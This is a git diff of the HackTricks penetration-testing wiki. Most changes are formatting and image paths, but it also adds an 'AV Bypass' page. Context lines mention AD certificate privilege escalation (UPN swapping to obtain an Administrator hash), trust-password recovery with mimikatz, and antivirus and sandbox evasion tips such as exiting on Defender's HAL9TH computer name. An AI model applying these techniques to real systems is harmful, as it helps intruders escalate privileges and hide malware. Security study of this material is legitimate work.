 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<img src="../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -84,7 +84,7 @@ cmp original.jpg stego.jpg -b -l
 If you find that a **text line** is **bigger** than it should be, then some **hidden information** could be included inside the **spaces** using invisible characters.󐁈󐁥󐁬󐁬󐁯󐀠󐁴󐁨\
 To **extract** the **data**, you can use: [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)
 
-<img src="../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -218,7 +218,7 @@ To read a QR code: [https://online-barcode-reader.inliteresearch.com/](https://o
 * [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
 * [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
 
-<img src="../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -226,12 +226,12 @@ To read a QR code: [https://online-barcode-reader.inliteresearch.com/](https://o
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

windows-hardening/active-directory-methodology/ad-certificates.md

@@ -2,13 +2,13 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
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-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
@@ -91,7 +91,7 @@ The **`pKIExtendedKeyUsage`** attribute on an AD certificate template object con
 
 An admin needs to **create the certificate** template and then an **Enterprise CA “publishes”** the template, making it available to clients to enrol in. AD CS specifies that a certificate template is enabled on an Enterprise CA by **adding the template’s name to the `certificatetemplates` field** of the AD object.
 
-<figure><img src="../../.gitbook/assets/image (11) (2).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (11) (2) (1).png" alt=""><figcaption></figcaption></figure>
 
 {% hint style="warning" %}
 AD CS defines enrolment rights - which **principals can request** a certificate – using two security descriptors: one on the **certificate template** AD object and another on the **Enterprise CA itself**.\
@@ -109,7 +109,7 @@ A client needs to be granted in both security descriptors in order to be able to
 
 The **security descriptor** configured on the **Enterprise CA** defines these rights and is **viewable** in the Certificate Authority MMC snap-in `certsrv.msc` by right clicking on the CA → Properties → Security.
 
-<figure><img src="../../.gitbook/assets/image (7) (1) (2).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (7) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
 
 This ultimately ends up setting the Security registry value in the key **`HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration<CA NAME>`** on the CA server. We have encountered several AD CS servers that grant low-privileged users remote access to this key via remote registry:
 
@@ -221,12 +221,12 @@ certutil -v -dstemplate #enumerate certificate templates
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
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-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md

@@ -2,13 +2,13 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
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-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
@@ -403,7 +403,7 @@ Another limitation of NTLM relay attacks is that they **require a victim account
 Certify.exe cas
 ```
 
-<figure><img src="../../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (6) (1) (2).png" alt=""><figcaption></figcaption></figure>
 
 Enterprise CAs also **store CES endpoints** in their AD object in the `msPKI-Enrollment-Servers` property. **Certutil.exe** and **PSPKI** can parse and list these endpoints:
 
@@ -418,7 +418,7 @@ Import-Module PSPKI
 Get-CertificationAuthority | select Name,Enroll* | Format-List *
 ```
 
-<figure><img src="../../../.gitbook/assets/image (8) (2).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (8) (2) (2).png" alt=""><figcaption></figcaption></figure>
 
 #### Abuse with Certify
 
@@ -493,7 +493,7 @@ Then, we change back the `userPrincipalName` of `Jane` to be something else, lik
 
 Now, if we try to authenticate with the certificate, we will receive the NT hash of the `Administrator@corp.local` user. You will need to add `-domain <domain>` to your command line since there is no domain specified in the certificate.
 
-<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1) (3).png" alt=""><figcaption></figcaption></figure>
 
 ## Weak Certificate Mappings - ESC10
 
@@ -532,7 +532,7 @@ This is not a constraint violation, since the `Administrator` user’s `userPrin
 
 Now, we request any certificate that permits client authentication, for instance the default `User` template. We must request the certificate as `Jane`.
 
-<figure><img src="../../../.gitbook/assets/image (14) (2).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (14) (2) (1).png" alt=""><figcaption></figcaption></figure>
 
 Notice that the `userPrincipalName` in the certificate is `Administrator`.
 
@@ -567,7 +567,7 @@ Now, we request any certificate that permits client authentication, for instance
 
 Then, we change back the `userPrincipalName` of `Jane` to be something else, like her original `userPrincipalName` (`Jane@corp.local`).
 
-<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (9) (1) (3).png" alt=""><figcaption></figcaption></figure>
 
 Now, since this registry key applies to Schannel, we must use the certificate for authentication via Schannel. This is where Certipy’s new `-ldap-shell` option comes in.
 
@@ -577,7 +577,7 @@ If we try to authenticate with the certificate and `-ldap-shell`, we will notice
 
 One of the available commands for the LDAP shell is `set_rbcd` which will set Resource-Based Constrained Delegation (RBCD) on the target. So we could perform a RBCD attack to compromise the domain controller.
 
-<figure><img src="../../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (7) (1) (2).png" alt=""><figcaption></figcaption></figure>
 
 Alternatively, we can also compromise any user account where there is no `userPrincipalName` set or where the `userPrincipalName` doesn’t match the `sAMAccountName` of that account. From my own testing, the default domain administrator `Administrator@corp.local` doesn’t have a `userPrincipalName` set by default, and this account should by default have more privileges in LDAP than domain controllers.
 
@@ -600,12 +600,12 @@ Ultimately both these scenarios **increase the attack surface** from one forest
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
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-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md

@@ -2,13 +2,13 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
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 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
@@ -83,13 +83,13 @@ In the previous flow it was used the trust hash instead of the **clear text pass
 
 The cleartext password can be obtained by converting the \[ CLEAR ] output from mimikatz from hexadecimal and removing null bytes ‘\x00’:
 
-![](<../../.gitbook/assets/image (2) (1).png>)
+![](<../../.gitbook/assets/image (2) (1) (2).png>)
 
 Sometimes when creating a trust relationship, a password must be typed in by the user for the trust. In this demonstration, the key is the original trust password and therefore human readable. As the key cycles (30 days), the cleartext will not be human-readable but technically still usable.
 
 The cleartext password can be used to perform regular authentication as the trust account, an alternative to requesting a TGT using the Kerberos secret key of the trust account. Here, querying root.local from ext.local for members of Domain Admins:
 
-![](<../../.gitbook/assets/image (1) (1) (1).png>)
+![](<../../.gitbook/assets/image (1) (1) (1) (2).png>)
 
 ## References
 
@@ -97,12 +97,12 @@ The cleartext password can be used to perform regular authentication as the trus
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
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-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md

@@ -2,13 +2,13 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
@@ -32,7 +32,7 @@ If **unconstrained delegation** is enabled in the PC, this won't happen as the *
 
 ### CredSSP
 
-Another suggested option to **sysadmins** to avoid this problem which is [**notably insecure**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) **** is **Credential Security Support Provider**. Enabling CredSSP has been a solution mentioned on various forums throughout the years. From Microsoft:
+Another suggested option to **sysadmins** to avoid this problem which is [**notably insecure**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) \*\*\*\* is **Credential Security Support Provider**. Enabling CredSSP has been a solution mentioned on various forums throughout the years. From Microsoft:
 
 _“CredSSP authentication delegates the user credentials from the local computer to a remote computer. This practice increases the security risk of the remote operation. If the remote computer is compromised, when credentials are passed to it, the credentials can be used to control the network session.”_
 
@@ -136,7 +136,7 @@ Download the latest [OpenSSH Release zip from github](https://github.com/PowerSh
 
 Uncompress the zip to where you’d like. Then, run the install script - `Install-sshd.ps1`
 
-<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
 
 Lastly, just add a firewall rule to **open port 22**. Verify the SSH services are installed, and start them. Both of these services will need to be running for SSH to work.
 
@@ -157,12 +157,12 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
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-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

windows-hardening/active-directory-methodology/pass-the-ticket.md

@@ -2,17 +2,17 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<img src="../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -63,7 +63,7 @@ klist #List tickets in cache to cehck that mimikatz has loaded the ticket
 
 * [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
 
-<img src="../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -71,12 +71,12 @@ klist #List tickets in cache to cehck that mimikatz has loaded the ticket
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

windows-hardening/av-bypass.md

@@ -1,23 +1,327 @@
-
+# AV Bypass
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
+**This page was written by** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
 
-# **Telnet Server**
+## **AV Evasion Methodology**
+
+Currently, AVs use different methods for checking if a file is malicious or not, static detection, dynamic analysis, and for the more advanced EDRs, behavioural analysis.
+
+### **Static detection**
+
+Static detection is achieved by flagging known malicious strings or arrays of bytes in a binary or script, and also extracting information from the file itself (e.g. file description, company name, digital signatures, icon, checksum, etc.). This means that using known public tools may get you caught more easily, as they've probably been analyzed and flagged as malicious. There are a couple of ways of getting around this sort of detection:
+
+* **Encryption**
+
+If you encrypt the binary, there will be no way for AV of detecting your program, but you will need some sort of loader to decrypt and run the program in memory.
+
+* **Obfuscation**&#x20;
+
+Sometimes all you need to do is change some strings in your binary or script to get it past AV, but this can be a time-consuming task depending on what you're trying to obfuscate.
+
+* **Custom tooling**&#x20;
+
+If you develop your own tools, there will be no known bad signatures, but this takes a lot of time and effort.
+
+{% hint style="info" %}
+A good way for checking against Windows Defender static detection is [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). It basically splits the file into multiple segments and then tasks Defender to scan each one individually, this way, it can tell you exactly what are the flagged strings or bytes in your binary.
+{% endhint %}
+
+I highly recommend you check out this [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) about practical AV Evasion.
+
+### **Dynamic analysis**
+
+Dynamic analysis is when the AV runs your binary in a sandbox and watches for malicious activity (e.g. trying to decrypt and read your browser's passwords, performing a minidump on LSASS, etc.). This part can be a bit trickier to work with, but here are some things you can do to evade sandboxes.
+
+* **Sleep before execution** Depending on how it's implemented, it can be a great way of bypassing AV's dynamic analysis. AV's have a very short time to scan files to not interrupt the user's workflow, so using long sleeps can disturb the analysis of binaries. The problem is that many AV's sandboxes can just skip the sleep depending on how it's implemented.
+* **Checking machine's resources** Usually Sandboxes have very little resources to work with (e.g. < 2GB RAM), otherwise they could slow down the user's machine. You can also get very creative here, for example by checking the CPU's temperature or even the fan speeds, not everything will be implemented in the sandbox.
+* **Machine-specific checks** If you want to target a user who's workstation is joined to the "contoso.local" domain, you can do a check on the computer's domain to see if it matches the one you've specified, if it doesn't, you can make your program exit.
+
+It turns out that Microsoft Defender's Sandbox computername is HAL9TH, so, you can check for the computer name in your malware before detonation, if the name matches HAL9TH, it means you're inside defender's sandbox, so you can make your program exit.
+
+<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
+
+Some other really good tips from [@mgeeky](https://twitter.com/mariuszbit) for going against Sandboxes&#x20;
+
+<figure><img src="../.gitbook/assets/image (2).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
+
+As we've said before in this post, **public tools** will eventually **get detected**, so, you should ask yourself something:
+
